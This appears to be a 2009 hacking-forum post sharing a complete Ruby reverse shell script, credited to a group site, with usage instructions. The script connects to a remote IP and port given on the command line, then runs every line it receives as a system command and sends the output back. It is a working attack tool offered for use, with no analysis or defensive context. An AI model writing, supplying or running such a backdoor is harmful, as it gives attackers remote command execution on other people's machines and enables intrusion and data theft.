- 18 Nis 2009
- 2
- 0
Ruby Reverse Shell (Multi platform)
Kod:
#!/usr/bin/env ruby
# Ruby Reverse Shell
# [email protected]
# www.magiccoder.ir www.sun-army.org
# License : GNU General Public License (GPL)
#Usage : ruby reverse.rb <ip> <port>
#Example: ruby reverse.rb 127.0.0.1 1370
require 'net/telnet'
if (ARGV[1] == nil)
puts "\n\n\t\t Ruby Reverse Shell\n\t\[email protected]\n\twww.magiccoder.ir\twww.sun-army.org\n"
puts "\nUsage\t: ruby reverse.rb <ip> <port>\nExample\t: ruby reverse.rb 127.0.0.1 1370\n\n"
else
server = Net::Telnet::new('Host'=>ARGV[0],'Port'=>ARGV[1].to_i,'Timeout'=>300)
server.puts "\n\n\t\t Ruby Reverse Shell\n\t\[email protected]\n\twww.magiccoder.ir\twww.sun-army.org\n"
puts "Connected to #{ARGV[0]}:#{ARGV[1].to_i}"
loop do
server.print "sh$ "
command = server.gets
break if command.chomp == "exit"
server.print `#{command.to_s}`
end
puts "Disconnected"
end